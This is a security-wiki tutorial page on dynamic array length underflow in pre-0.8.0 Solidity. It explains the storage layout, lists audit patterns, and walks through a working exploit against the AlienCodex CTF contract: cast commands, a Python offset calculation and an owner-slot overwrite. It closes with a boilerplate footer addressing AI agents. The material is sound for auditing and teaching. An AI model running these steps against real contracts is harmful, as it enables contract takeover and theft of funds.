> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/smart-contracts-pentesting/vulnerabilities/evm-attack-surfaces/dynamic-array-underflow.md).

# Dynamic Array Underflow

## Theory

Before Solidity 0.8.0, dynamic arrays lacked length underflow protection. When a dynamic array's length was decreased below zero through `array.length--`, it would wrap around to `2^256 - 1`, effectively granting write access to the entire contract storage.

#### Storage Layout Fundamentals

In Solidity, storage slots are 32-byte positions numbered from 0 to `2^256 - 1`. Dynamic arrays store their length at a specific slot `p`, while their elements are stored starting at `keccak256(p)`.

**Example with a dynamic array at slot 1:**

* Slot 1: stores the array length
* Slot `keccak256(1)`: stores `array[0]`
* Slot `keccak256(1) + 1`: stores `array[1]`
* Slot `keccak256(1) + n`: stores `array[n]`

#### The Underflow Attack Vector

When `array.length` underflows from 0 to `2^256 - 1`, the array theoretically spans the entire storage space. An attacker can then calculate offsets to overwrite any storage slot, including critical variables like contract ownership or access control flags.

**Mathematical exploitation:**

```
Target slot = keccak256(array_slot) + offset (mod 2^256)
```

By solving for the offset, an attacker can write to arbitrary storage locations through seemingly legitimate array access operations.

## Practice

When auditing pre-0.8.0 contracts, scrutinize any code that allows users to decrease dynamic array lengths, particularly through operations like `pop()`, manual `length--`, or `delete` on array elements in certain contexts.

#### High-Risk Patterns

Look for contracts where:

* Users can trigger array length decrements without proper bounds checking
* Dynamic arrays are combined with privileged storage variables in the same contract
* Array manipulation functions lack `require(array.length > 0)` guards
* Manual storage slot calculations are performed

Even in modern Solidity, be cautious of:

* Inline assembly manipulating array lengths (`sstore`)
* Custom storage layouts bypassing compiler protections
* Legacy contract upgrades that preserve old vulnerable logic

{% tabs %}
{% tab title="Exploit" %}
**Vulnerable Contract Example**

```solidity
pragma solidity ^0.5.0;

contract AlienCodex {
    address public owner;
    bool public contact;
    bytes32[] public codex;  // Slot 1
    
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    
    function makeContact() public {
        contact = true;
    }
    
    function record(bytes32 _content) public {
        require(contact);
        codex.push(_content);
    }
    
    function retract() public {
        require(contact);
        codex.length--;  // Underflow vulnerability
    }
    
    function revise(uint i, bytes32 _content) public {
        require(contact);
        codex[i] = _content;  // Arbitrary storage write
    }
}
```

The `owner` variable is stored in slot 0, while `codex.length` is at slot 1. The array data begins at `keccak256(1)`.

**Exploitation Steps**

**Step 1: Trigger the underflow**

```bash
cast send $CONTRACT_ADDRESS \
  "makeContact()" \
  --rpc-url $RPC_URL \
  --private-key $PK

cast send $CONTRACT_ADDRESS \
  "retract()" \
  --rpc-url $RPC_URL \
  --private-key $PK
```

After `retract()`, `codex.length` becomes `2^256 - 1`, allowing access to all storage slots.

**Step 2: Calculate the offset to slot 0**

```python
from web3 import Web3

# Storage slot where codex data starts
array_data_slot = int(Web3.solidity_keccak(['uint256'], [1]).hex(), 16)

# Calculate offset to reach slot 0
target_slot = 0
offset = (2**256 - array_data_slot + target_slot) % (2**256)

print(f"Offset to overwrite owner: {hex(offset)}")
```

**Step 3: Overwrite the owner variable**

```bash
# Prepare the new owner address (your address, left-padded to 32 bytes)
NEW_OWNER="0x000000000000000000000000YOUR_ADDRESS_HERE"

cast send $CONTRACT_ADDRESS \
  "revise(uint256,bytes32)" \
  $OFFSET \
  $NEW_OWNER \
  --rpc-url $RPC_URL \
  --private-key $PK
```

The attacker now controls the contract by overwriting slot 0 where the `owner` address is stored.
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_storage.html#mappings-and-dynamic-arrays>" %}

{% embed url="<https://swcregistry.io/docs/SWC-124/>" %}

{% embed url="<https://medium.com/@rohanzarathustra/ethernaut-level-19-alien-codex-f2c24dac82cc>" %}

{% embed url="<https://blog.dixitaditya.com/ethernaut-level-19-alien-codex>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://red.infiltr8.io/smart-contracts-pentesting/vulnerabilities/evm-attack-surfaces/dynamic-array-underflow.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
